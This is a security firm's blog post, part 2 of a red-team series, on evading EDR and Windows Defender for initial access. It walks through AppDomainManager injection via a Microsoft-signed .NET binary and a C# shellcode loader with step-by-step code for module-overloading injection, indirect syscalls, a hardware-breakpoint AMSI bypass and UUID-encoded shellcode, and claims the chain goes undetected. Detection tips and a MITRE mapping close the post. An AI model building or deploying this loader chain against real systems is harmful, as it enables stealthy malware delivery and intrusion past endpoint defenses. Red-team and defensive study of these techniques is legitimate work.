Back to all posts

Pwning the EDRs for Initial Access PART-2

A detailed series on how to gain successful initial access inside a hardened environment part2.

Nikhil SrivastavaJanuary 31, 202420 min read
Pwning the EDRs for Initial Access PART-2

Pwning the EDRs for Initial Access : Part-2

This is part 2 of a 2-part series on initial access against modern EDR/AV stacks. Read Part 1 | Part 2.

A detailed guide on how to gain successful initial access inside a hardened environment, part 2.

If you haven't read Part 1 of this series yet, please take a moment to read it: Pwning the EDRs for Initial Access Part 1.

TL;DR

  • Part 2 swaps the noisy Part 1 loader for an evasive one: AppDomainManager injection through a Microsoft-signed .NET binary kills the SmartScreen prompt.
  • The new loader uses module overloading, indirect syscalls, a patchless AMSI bypass via VEH, and UUID-encoded shellcode for entropy management.
  • Together with ClickOnce, the chain runs against current Windows Defender and the EDRs we tested without firing.
  • Defenders should focus on .config files appearing next to Microsoft-signed .NET binaries in user-writable directories, and on hardware-breakpoint-based AMSI patches at runtime.

ClickOnce Bypass Strategies

In the previous blog, we learned about the ClickOnce technology and how easily a ClickOnce application can be created and deployed. Within the video presented in Part 1 of this series, it was evident that there are some serious improvements required within the ClickOnce application (specifically the loader) to make it evasive and apt for today's red team needs.

In Part 1, three major challenges were identified from the deployment point of view:

  1. SmartScreen prompts because the loader being called is an unsigned executable. SmartScreen reputation is also covered in detail in the BYOR writeup.
  2. The loader was detected by Windows Defender due to the use of known msfvenom shellcode and a basic process injection technique.
  3. Total clicks required for a successful deployment of the ClickOnce application were higher (3 to 4 clicks).

Looking at the first problem, the SmartScreen prompt

We can use the .NET sideload technique (also known as AppDomain Manager Injection) to abuse Microsoft-signed .NET executables that meet these two conditions:

  1. UAC (User Account Control) settings must not require elevated permissions for the application to be invoked.
  2. <assemblyIdentity> must be missing inside the embedded application manifest, or there must be no embedded application manifest at all.

To find such .NET executables that are vulnerable to sideload, you can use tools such as AssemblyHunter: GitHub - 0xthirteen/AssemblyHunter.

// Build AssemblyHunter using Visual Studio.
// Run the below command to hunt for .Net executables vulnerable to sideload.
AssemblyHunter.exe path=C:\Windows\Microsoft.NET\Framework64\v4.0.30319 exeonly=true getasmid=true getappid=true getuac=true signed=true

For this demonstration, the vulnerable ComSvcConfig.exe .NET assembly has been used as you can see below:

Once a .NET executable is identified, the next step is to trigger a sideload using AppDomain Manager Injection.

About: AppDomain Manager Injection

AppDomain Manager Injection refers to a technique used in software development and runtime environments, specifically in the .NET framework. It involves injecting a custom implementation of the AppDomainManager class into an application's (executable) default application domain.

AppDomainManager injection can be triggered in two possible ways:

  1. Configuration File Method:

    • Create a configuration file, typically named app.config or web.config, depending on the type of application.
    • Within the configuration file, specify the assembly name and type of the custom AppDomain Manager using the appDomainManagerAssembly and appDomainManagerType properties.
    • The appDomainManagerAssembly property specifies the name of the assembly (DLL) that contains the custom AppDomain Manager implementation.
    • The appDomainManagerType property specifies the fully qualified type name of the custom AppDomain Manager class.
    • When the application starts, it reads the configuration file and automatically loads and uses the specified AppDomain Manager.
  2. Process Environment Variables Method:

    • Set three process environment variables: APPDOMAIN_MANAGER_ASM, APPDOMAIN_MANAGER_TYPE, and COMPLUS_VERSION.
    • APPDOMAIN_MANAGER_ASM is set to the assembly name (DLL) that contains the custom AppDomain Manager implementation.
    • APPDOMAIN_MANAGER_TYPE is set to the fully qualified type name of the custom AppDomain Manager class.
    • COMPLUS_VERSION is set to a specific version of the Common Language Runtime (CLR) used by the .NET framework.
    • When the application starts, it reads these environment variables and uses the specified AppDomain Manager for the application domain.

For this demonstration, the AppDomainManager injection trigger is based on the configuration file method.

Think of AppDomainManager as a class which will be present in the shellcode loader and which can be invoked from a .NET configuration file. This .NET configuration file (ComSvcConfig.exe.config) contains a reference to the AppDomain Manager library (ClickOnceLoader.dll). Once ComSvcConfig.exe gets executed, it loads up the configuration file (ComSvcConfig.exe.config). The content of this ComSvcConfig.exe.config file looks similar to this:

// Some code
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<probing privatePath="."/>
<etwEnable enabled="false" />
<appDomainManagerAssembly value="ClickOnceLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="MyAppDomainManager" />

Looking at the configuration file (ComSvcConfig.exe.config), we can see an entry similar to:

<appDomainManagerAssembly value=ClickOnceLoader .......>

ClickOnceLoader is the command and control loader DLL that will get sideloaded using AppDomainManager injection. Let's examine what a sample loader code supporting AppDomainManager might look like:

// Loader.cs
using System;
using System.Diagnostics;
using System.Reflection;

public sealed class MyAppDomainManager : AppDomainManager {
public override void InitializeNewDomain(AppDomainSetup appDomainInfo) {
ExecuteLoader();
return;
}

    private void ExecuteLoader() {
        Assembly currentAssembly = Assembly.GetExecutingAssembly();
        MethodInfo entryPoint = currentAssembly.EntryPoint;
        object entryPointInstance = Activator.CreateInstance(Type.GetType("EntryPointClass"));
        MethodInfo LoaderMethod = entryPointInstance.GetType().GetMethod("LoaderMethod");
        LoaderMethod.Invoke(entryPointInstance, null);
    }

}

public class EntryPointClass {
    public void LoaderMethod() {
        Process.Start("calc.exe");
        //loader code here
        }
}

Steps to reproduce your first AppDomainManager injection:

  1. Create a folder named AppDomain and copy ComSvcConfig.exe from C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ to the AppDomain folder.
  2. Create a ComSvcConfig.exe.config file as shown above.
  3. Compile the sample loader code (Loader.cs) using:
%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\csc.exe /platform:anycpu /o+
/r:System.EnterpriseServices.dll /r:System.Management.Automation.dll
/r:Microsoft.Build.Framework.dll /target:library /out:"AppDomain\ClickOnceLoader.dll" "Loader.cs"

Try It Out

Go to the AppDomain folder and click on ComSvcConfig.exe. A calculator pops up similar to the gif below:

Creating a Stealthy C# Loader

A loader is a program designed to execute a C2 agent (shellcode, dll, exe) in a manner that evades existing defenses. This evasion is necessary to bypass detections embedded in the C2 agents, as most command and control servers end up being identified through signatures by Endpoint Detection and Response (EDR) and Endpoint Protection Platform (EPP) vendors.

Consider a scenario in a red team engagement where a public command and control server, say havoc, is used. Given that the code and builds are readily available to everyone, including defenders, custom detection methods can be easily implemented. These methods help defenders identify the presence of a known C2 agent code by leveraging userland hooks or ETWti / kernel callbacks.

ETWti is an interface provided by Microsoft, where drivers can subscribe to receive special ETW events. These events are specifically meant for detecting malicious activities and include events such as process creation, allocation of memory, thread creation, and more.

In such a scenario, it is necessary to alter the way a C2 agent is loaded into the environment to circumvent detection. This is where loaders come in, creating a secure environment for the agent to operate within a protected endpoint. Various types of loaders exist, each designed to load different C2 agents uniquely, as C2 agents extend beyond mere shellcode and can include executables (exe), dynamic link libraries (dll), control panel applets (cpl), VBA scripts, and more.

For this specific demonstration, the primary focus is on a shellcode loader. As we exploit a .NET-based AppDomain manager injection technique, the loader will be a C#-based implementation. When creating a loader, three major considerations come into play:

  1. How the agent shellcode is going to be executed by the loader.

    • Will the loader make remote or local calls for loading the shellcode?
    • Self-injection or remote injection?
  2. The selection of Windows APIs and process injection technique used inside the loader.

    • DInvoke rather than PInvoke?
    • Indirect syscalls for bypassing hooks?
  3. Use of shellcode encryption inside the loader to evade on-disk and in-memory scanning while maintaining low entropy.

To overcome the previous challenges, our loader will consist of the following features:

  • A stealth (kind of) process injection technique using module overloading. For more on process injection fundamentals, see Part 1.
  • Indirect syscalls for shellcode execution.
  • Patchless AMSI bypass.
  • Entropy management.

Process Injection

Process injection is a technique to insert shellcode inside a process (self or remote) in order to execute that shellcode in a way that makes it harder for EDRs and EPPs to detect what is actually executing inside a system. Some evasive variations of process injection include:

  • Module Stomping
  • Module Overloading
  • Threadless Injection
  • DLL Notification Injection
  • Caro-Kann Injection technique

Below are the steps for executing the C2 (havoc) shellcode. The loader uses the module overloading process injection technique for bypassing defenses:

Step 1: Use NtOpenFile API to open the DLL that will be hollowed.

// Loader.cs
Structs.OBJECT_ATTRIBUTES objectAttributes = new Structs.OBJECT_ATTRIBUTES();
objectAttributes.Length = Marshal.SizeOf(objectAttributes);
objectAttributes.ObjectName = pDllName;
objectAttributes.Attributes = 0x40;
Structs.IO_STATUS_BLOCK ioStatusBlock = new Structs.IO_STATUS_BLOCK();

IntPtr hFile = IntPtr.Zero;
object\[\] argsNtOpenFile = new object\[\] { hFile, FileAccessFlags.FILE_READ_DATA | FileAccessFlags.FILE_EXECUTE | FileAccessFlags.FILE_READ_ATTRIBUTES | FileAccessFlags.SYNCHRONIZE, objectAttributes, ioStatusBlock, FileShareFlags.FILE_SHARE_READ | FileShareFlags.FILE_SHARE_DELETE, FileOpenFlags.FILE_SYNCHRONOUS_IO_NONALERT | FileOpenFlags.FILE_NON_DIRECTORY_FILE };
var retval = ntdll.indirectSyscallInvoke<Delegates.NtOpenFile>("NtOpenFile", argsNtOpenFile);

Step 2: Use NtCreateSection API for creating a file-backed section with PAGE_READONLY permissions, backed by the particular DLL we are going to hollow.

A file-backed section reflects the contents of an actual file on disk; in other words, it is a memory-mapped file. Any access to memory locations within a given file-backed section corresponds to accesses to locations in the associated file.

hFile = (IntPtr)argsNtOpenFile\[0\];
objectAttributes = (Structs.OBJECT_ATTRIBUTES)argsNtOpenFile\[2\];
ioStatusBlock = (Structs.IO_STATUS_BLOCK)argsNtOpenFile\[3\];
IntPtr hSection = IntPtr.Zero;
ulong MaxSize = 0;

object\[\] argsNtCreateSection = new object\[\] { hSection, SECTION_ALL_ACCESS, IntPtr.Zero, MaxSize, PAGE_READONLY, SEC_IMAGE, hFile };

ntdll.indirectSyscallInvoke<Delegates.NtCreateSection>("NtCreateSection", argsNtCreateSection);

Step 3: Use NtMapViewOfSection to create an RWX view of the section in our local process for further operations required for injecting and executing the shellcode.

hSection = (IntPtr)argsNtCreateSection\[0\];
MaxSize = (ulong)argsNtCreateSection\[3\];
IntPtr pBaseAddress = IntPtr.Zero;
object\[\] argsNtMapViewOfSection = new object\[\] { hSection, (IntPtr)(-1), pBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, (IntPtr)size, (uint)0x2, (uint)0x0, PAGE_EXECUTE_READWRITE };

ntdll.indirectSyscallInvoke<Delegates.NtMapViewOfSection>("NtMapViewOfSection", argsNtMapViewOfSection);

Step 4: Use NtProtectVirtualMemory to change the permissions of the RWX region created previously to RW and copy the shellcode into that page area.

pBaseAddress = (IntPtr)argsNtMapViewOfSection\[2\];
Console.WriteLine("Changing Page Permissions to RWX!!! \[Not OPSEC Safe\]");

uint ntstatus = (uint)ntdll.indirectSyscallInvoke<Delegates.NtProtectVirtualMemory>("NtProtectVirtualMemory", new object\[\] { (IntPtr)(-1), pBaseAddress, (IntPtr)size, PAGE_READWRITE, (uint)0 });
byte\[\] nullbyte = new byte\[size\];

for (int i = 0; i < size; i++) nullbyte\[i\] = 0x00;
Marshal.Copy(nullbyte, 0, pBaseAddress, nullbyte.Length);
Marshal.Copy(shellcodex, 0, pBaseAddress, shellcodex.Length);

Step 5: Use NtProtectVirtualMemory to change the page permissions of the RW region containing the shellcode to RX.

ntdll.indirectSyscallInvoke<Delegates.NtProtectVirtualMemory>("NtProtectVirtualMemory", new object\[\] { (IntPtr)(-1), pBaseAddress, (IntPtr)size, PAGE_EXECUTE_READ, (uint)0 });

Step 6: Use NtCreateThreadEx to execute the shellcode on the RX region with the start address pointing to pBaseAddress.

IntPtr hThread = IntPtr.Zero;
object\[\] threadargs = new object\[\] { hThread, (uint)0x02000000, IntPtr.Zero, Process.GetCurrentProcess().Handle, pBaseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero };
ntdll.indirectSyscallInvoke<Delegates.NtCreateThreadEx>("NtCreateThreadEx", threadargs);

Step 7: Use NtWaitForSingleObject to wait until the specified object (in this case, hThread) has completed its execution entirely (signaled) or until the timeout interval elapses. The timeout is set to 0, which means the handle will not enter the wait state if the object is not signaled, and it will always return immediately.

hThread = (IntPtr)threadargs\[0\];
ntdll.indirectSyscallInvoke<Delegates.NtWaitForSingleObject>("NtWaitForSingleObject", new object\[\] { hThread, false, IntPtr.Zero });
freeOverload(ntdll, pBaseAddress);

Step 8: Perform cleanup. Use NtUnmapViewOfSection to unmap the mapped section, and use NtFreeVirtualMemory to remove the acquired memory region inside the process.

IntPtr regionSize = IntPtr.Zero;
ntdll.indirectSyscallInvoke<Delegates.NtUnmapViewOfSection>("NtUnmapViewOfSection", new object\[\] { (IntPtr)(-1), pBaseAddress });
ntdll.indirectSyscallInvoke<Delegates.NtFreeVirtualMemory>("NtFreeVirtualMemory", new object\[\] { (IntPtr)(-1), pBaseAddress, regionSize, (uint)0x8000 });

Indirect Syscalls for Clean Shellcode Execution

Direct syscalls refer to a method where a program directly invokes a system call (NT* APIs) rather than calling ntdll.dll to do so. In this approach, the program interacts directly with the operating system kernel to request specific services or functionality.

Direct syscalls can leave an "unclean" callstack (not backed by ntdll), which can potentially be observed by EDRs or other monitoring tools. The callstack is a data structure that keeps track of function calls and their corresponding return addresses during program execution. When a program makes a direct syscall, it interrupts the normal flow of execution and transfers control to the operating system kernel. This interruption can cause unbacked API calls visible in the callstack as the program transitions from user mode to kernel mode. EDRs may monitor the callstack for anomalies or suspicious behavior, and the presence of direct syscalls can be a red flag.

Indirect syscalls using ntdll.dll for API invocation can help maintain a "clean" callstack. Instead of directly invoking the system call, the program calls a function within the ntdll.dll library, which handles the system call internally. From the perspective of the callstack, the program remains within user mode, and the transitions to kernel mode are hidden within the library.

As a result, using indirect syscalls, the callstack appears more consistent and less suspicious to EDRs. The program's execution flow remains within user mode, making it more difficult for EDRs to detect the presence of system calls or identify potential malicious activities.

Prototype for dynamic SSN resolution and invocation of indirect (ntdll-backed) syscalls:

// Find ntdll.dll inside of the current process.
// Parse the respective names of export functions and their ordinal values using PE parsing technqiues.
// Create a function that goes to each of the export functions inside of the ntdll and store their function name and its respective Syscall Stub (first 23 bytes)
// Use that function to get syscall stubs dynamically for respective APIs and create a new syscall stub that will have an asm for calling out the syscall IDs of NTAPI's with their respective args and perform an unconditional jmp to the pointer that points to the syscall instruction inside of the memory address of ntdll.dll
// This will make sure that the callstack for that perticular thread looks more legitimate to EDRs/EPPs.
// Finally make the syscall stub executable and call that perticular API using indirect Syscall mechanism.

Patchless AMSI Bypass

VEH (Vectored Exception Handling) based patchless AMSI (Antimalware Scan Interface) bypass is a technique used to evade detection by the AMSI feature in Windows operating systems. AMSI is a security feature that allows antivirus and antimalware software to scan and detect malicious code before it is executed. In this bypass technique, the attacker leverages the VEH mechanism, a low-level exception handling mechanism in Windows, to intercept and modify the behavior of the AMSI engine. By doing so, they can prevent the AMSI engine from detecting and blocking their malicious code. The patchless aspect refers to the fact that this bypass does not require modifying any system files or applying patches to the operating system. Instead, it takes advantage of the way the VEH mechanism works to alter the execution flow of the AMSI engine dynamically. The function called AMSIPatch() is responsible for the following implementations:

  1. Setting up the VEH that will handle the exception.
  2. Setting up the hardware breakpoints to registers.
  3. Setting up the thread context for performing the patch.

A thread context is a snapshot of all the register values at the time the context was captured. This includes the current instruction pointer for the thread, the value of the stack register, and values of the general purpose registers.

WinAPI.CONTEXT64 ctx = new WinAPI.CONTEXT64();
ctx.ContextFlags = WinAPI.CONTEXT64_FLAGS.CONTEXT64_ALL;
MethodInfo method = typeof(Program).GetMethod(nameof(Handler), BindingFlags.Static | BindingFlags.Public);

IntPtr hExHandler = WinAPI.AddVectoredExceptionHandler(1, method.MethodHandle.GetFunctionPointer());
Marshal.StructureToPtr(ctx, pCtx, true);

bool b = WinAPI.GetThreadContext((IntPtr)(-2), pCtx);
ctx = (WinAPI.CONTEXT64)Marshal.PtrToStructure(pCtx, typeof(WinAPI.CONTEXT64));

setBreakP(ctx, pAmsiScanBuffer, 0);
WinAPI.SetThreadContext((IntPtr)(-2), pCtx);

Handler Function

The handler will do the following to perform the patchless bypass:

  1. Capture the exception and make sure its Exception Record's ExceptionCode is EXCEPTION_SINGLE_STEP and the address of the exception that occurred points to AmsiScanBuffer.
  2. Patch the AmsiScanBuffer 's 6th argument, which contains the result of the AMSI scan, and set it to AMSI_RESULT_CLEAN.
  3. Adjust the stack pointer to perform a ret instruction.
  4. Remove breakpoints from DR registers.
  5. Return EXCEPTION_CONTINUE_EXECUTION.
// Sample handler code snippet in C
// ref: https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf
LONG WINAPI exceptionHandler(PEXCEPTION_POINTERS exceptions){
if(exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && exceptions->ExceptionRecord->ExceptionAddress == g_amsiScanBufferPtr) {
    //Get the return address by reading the value currently stored at the stack pointer
    ULONG_PTR returnAddress = getReturnAddress(exceptions->ContextRecord);

    //Get the address of the 5th argument, which is an int\* and set it to a clean result
    int\* scanResult = (int\*)getArg(exceptions->ContextRecord, 5);
    \*scanResult = AMSI_RESULT_CLEAN;

    //update the current instruction pointer to the caller of AmsiScanBuffer
    setIP(exceptions->ContextRecord, returnAddress);

    //We need to adjust the stack pointer accordinly too so that we simulate a ret instruction
    adjustStackPointer(exceptions->ContextRecord, sizeof(PVOID));

    //Set the eax/rax register to 0 (S_OK) indicatring to the caller that AmsiScanBuffer finished successfully
    setResult(exceptions->ContextRecord, S_OK);

    //Clear the hardware breakpoint, since we are now done with it
    clearHardwareBreakpoint(exceptions->ContextRecord, 0);
    return EXCEPTION_CONTINUE_EXECUTION;
    ​} else {
    return EXCEPTION_CONTINUE_SEARCH;
    }
}

In our loader we use similar functionality but have ported the AMSI patch to C#:

// AMSI Patch handler code snippet in C#
var e = new WinAPI.EXCEPTION_POINTERS();
e = (WinAPI.EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptions, typeof(WinAPI.EXCEPTION_POINTERS));
var r = new WinAPI.EXCEPTION_RECORD();
r = (WinAPI.EXCEPTION_RECORD)Marshal.PtrToStructure(e.pExceptionRecord, typeof(WinAPI.EXCEPTION_RECORD));
var c = new WinAPI.CONTEXT64();
c = (WinAPI.CONTEXT64)Marshal.PtrToStructure(e.pContextRecord, typeof(WinAPI.CONTEXT64));


if (r.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP && r.ExceptionAddress == pAmsiScanBuffer) {
    var a = (ulong)Marshal.ReadInt64((IntPtr)c.Rsp);
    var s = Marshal.ReadIntPtr((IntPtr)(c.Rsp + (6 \* 8)));
    Marshal.WriteInt32(s, 0, WinAPI.AMSI_RESULT_CLEAN);

        c.Rip = a;
        c.Rsp += 8;
        c.Rax = 0;
        c.Dr0 = 0;
        c.Dr7 = SetBits(c.Dr7, 0, 1, 0);
        c.Dr6 = 0;
        c.EFlags = 0;

    Marshal.StructureToPtr(c, e.pContextRecord, true);
    return WinAPI.EXCEPTION_CONTINUE_EXECUTION;
} else {
    return WinAPI.EXCEPTION_CONTINUE_SEARCH;
}

Now all that is left in the loader is entropy management.

Entropy Management for the Loader

The entropy of a Portable Executable (PE) file is a measure of the randomness or unpredictability of its content. It is calculated based on the distribution of byte values within the file.

Higher entropy indicates a higher degree of randomness (and higher detection), while lower entropy suggests a more structured or predictable file (more like an ordinary PE).

What shoots the entropy of a loader?

Primarily, the encrypted shellcode significantly elevates entropy. To mitigate this, we can substitute the shellcode bytes with words in English (or even German) to maintain a lower level of entropy. Older AV-side entropy considerations are explored in our Zombie Bypass post.

But for this loader we will convert our base64 encoded shellcode to an array of UUID strings and see if that brings the loader entropy down.

C# code for converting base64-encoded C2 shellcode to a UUID array

using System;
using System.Collections.Generic;
using System.Text;

class Program
{
    static void Main()
    {
        string filePath = "c2.b64"; //path to c2 bin
        string base64Text = File.ReadAllText(filePath); // Replace with your large Base64 text

        int uuidLength = 16; // Length of each UUID in bytes
        List<string> uuidsWithPadding = ConvertBase64ToUUIDsWithPadding(base64Text, uuidLength);
        Console.WriteLine("UUIDs with padding: new<string>{");
        Console.Write("List<string> uuidsWithPadding = new List<string>(){");
        int a = 0;
        foreach (string uuidWithPadding in uuidsWithPadding)
        {
            if (a == 0) {}
            else {
        Console.Write(" ,");
            }
            Console.Write('"' + uuidWithPadding + '"');
            a++;
        }
        Console.WriteLine("}");
    }

    static List<string> ConvertBase64ToUUIDsWithPadding(string base64Text, int uuidLength)
    {
        byte[] base64Bytes = Convert.FromBase64String(base64Text);
        int uuidCount = base64Bytes.Length / uuidLength;
        List<string> uuidsWithPadding = new List<string>();

        for (int i = 0; i < uuidCount; i++)
        {
            byte[] uuidBytes = new byte[uuidLength];
            Array.Copy(base64Bytes, i * uuidLength, uuidBytes, 0, uuidLength);
            string uuidWithPadding = new Guid(uuidBytes).ToString();

            uuidsWithPadding.Add(uuidWithPadding);
        }

        return uuidsWithPadding;
    }
}

We use this to convert our C2 shellcode to base64, which can be done by various tools, and then use that base64 output to form an array of UUID strings.

The loader.cs will have one more function we call ConvertUUIDsWithPaddingToBase64 to convert the shellcode back to its base64 form, which is then decoded to get the actual shellcode that will be injected.

// loader.cs
  static string ConvertUUIDsWithPaddingToBase64(List<string> uuidsWithPadding)
        {
            List<byte> uuidBytes = new List<byte>();
            foreach (string uuidWithPadding in uuidsWithPadding)
            {
                Guid uuid = new Guid(uuidWithPadding);
                byte[] singleUuidBytes = uuid.ToByteArray();
                int paddingLength = singleUuidBytes.Length - Convert.FromBase64String(Convert.ToBase64String(singleUuidBytes)).Length;
                byte[] base64Bytes = new byte[singleUuidBytes.Length - paddingLength];
                Array.Copy(singleUuidBytes, base64Bytes, base64Bytes.Length);
                uuidBytes.AddRange(base64Bytes);
            }
            string base64FromUUIDs = Convert.ToBase64String(uuidBytes.ToArray());

            return base64FromUUIDs;
        }

 public static void shellcodeinjector(dll ntdll)
        {
            List<string> uuidsWithPadding = new List<string>() {"f4894800-c35e-2e66-0f1f-840000000000", "c0315741-0ab9-0000-0041-564155415455","XXXXX-XXXXX-XXXXX-XXXXXXX", ...}
            string base64FromUUIDs = ConvertUUIDsWithPaddingToBase64(uuidsWithPadding);
            byte[] shellcodex = Convert.FromBase64String(base64FromUUIDs);
            int size = shellcodex.Length;

            //Module overloading technique implementation
            //code explained inside of Process Injection Technique
        }

Entropy Comparison of a base64 loader and uuid-base64 loader

Entropy of 4.17 using base64-encoded shellcode in a loader:

Entropy of 3.99 using uuid-base64 encoded shellcode in a loader:

It's time to get our chain ready.

  • Step 1: Get the AppDomain vector ready. This time we are replacing the previous non-evasive loader.cs with the evasive loader code created above.

  • Step 2: Create a ClickOnce application using the guide provided in "Automating the process of ClickOnce creation" in Part 1, using mage.exe.

  • Step 3: Test the ClickOnce application we have created and deployed on our server.

  • Step 4: Test the chain against the defenses.

ClickOnce VS SmartScreen / WD / EDRs

Defender Takeaways

  • Watch for .config files appearing alongside Microsoft-signed .NET binaries (especially ComSvcConfig.exe, InstallUtil.exe, etc.) outside their standard C:\Windows\Microsoft.NET\ paths. AppDomainManager injection requires a side-by-side .config.
  • Alert on the AppDomain config keys appDomainManagerAssembly and appDomainManagerType in any .config file under user-writable directories.
  • Detect setting hardware breakpoints (DR0-DR7 register writes) on AmsiScanBuffer or other AMSI exports, this is the patchless AMSI signal.
  • Hunt for ntdll!Nt* syscalls invoked from non-ntdll-backed memory regions (unbacked syscall callstacks).
  • Look for dfsvc.exe (ClickOnce host) launching Microsoft-signed .NET binaries from %LOCALAPPDATA%\Apps\2.0\ paths, then those binaries spawning unexpected children or making outbound connections.

MITRE ATT&CK Mapping

TechniqueNameWhere it appears in this post
T1574.014Hijack Execution Flow: AppDomainManagerCore technique, ComSvcConfig.exe + ComSvcConfig.exe.config + ClickOnceLoader.dll
T1218System Binary Proxy ExecutionMicrosoft-signed .NET binary used to proxy execution of attacker code
T1055Process InjectionModule overloading via NtCreateSection / NtMapViewOfSection
T1562.001Impair Defenses: Disable or Modify ToolsVEH-based patchless AMSI bypass forcing AMSI_RESULT_CLEAN
T1106Native APIIndirect syscalls into ntdll (NtOpenFile, NtCreateThreadEx, etc.)

Conclusion

Combining ClickOnce with techniques like AppDomain injection has proven to be evasive against the latest Windows Defender and the EDR solutions we tested it against.

Crafting such evasive chains requires significant research and is time-consuming. This process of creating evasive chains is implemented in our Offensive Chains By Astra (OCA), and we have worked to enhance its OPSEC and make it highly evasive.

Through our in-house research and development, we consistently push the boundaries and surpass detection capabilities to emulate a highly sophisticated adversary.

Our OCA is a highly evasive Offensive Security Tool (OST) that can be used in your red team operations to make assessments reliable and easy to conduct.

DISCLAIMER: The code and content provided in this blog are intended for educational purposes only. They are provided "as is" without any warranty, expressed or implied, including but not limited to the accuracy, correctness, or suitability for any particular purpose. The author and the platform shall not be held liable for any direct, indirect, incidental, special, exemplary, or consequential damages arising from the use, misuse, or inability to use the code or content. The information provided in this blog is based on the author's personal experience and research, and it may not necessarily reflect the most up-to-date practices or standards. Users are solely responsible for understanding and complying with any applicable laws, regulations, or ethical guidelines related to their use of the provided code and content. Use at your own risk.

Talk to PIVOT

Want this kind of analysis on your stack?

A 30-minute briefing with one of our practice leads. No sales pitch.

Nikhil Srivastava
Written by
Nikhil Srivastava
OSCP | CEO P.I.V.O.T Security
Share

More from PIVOT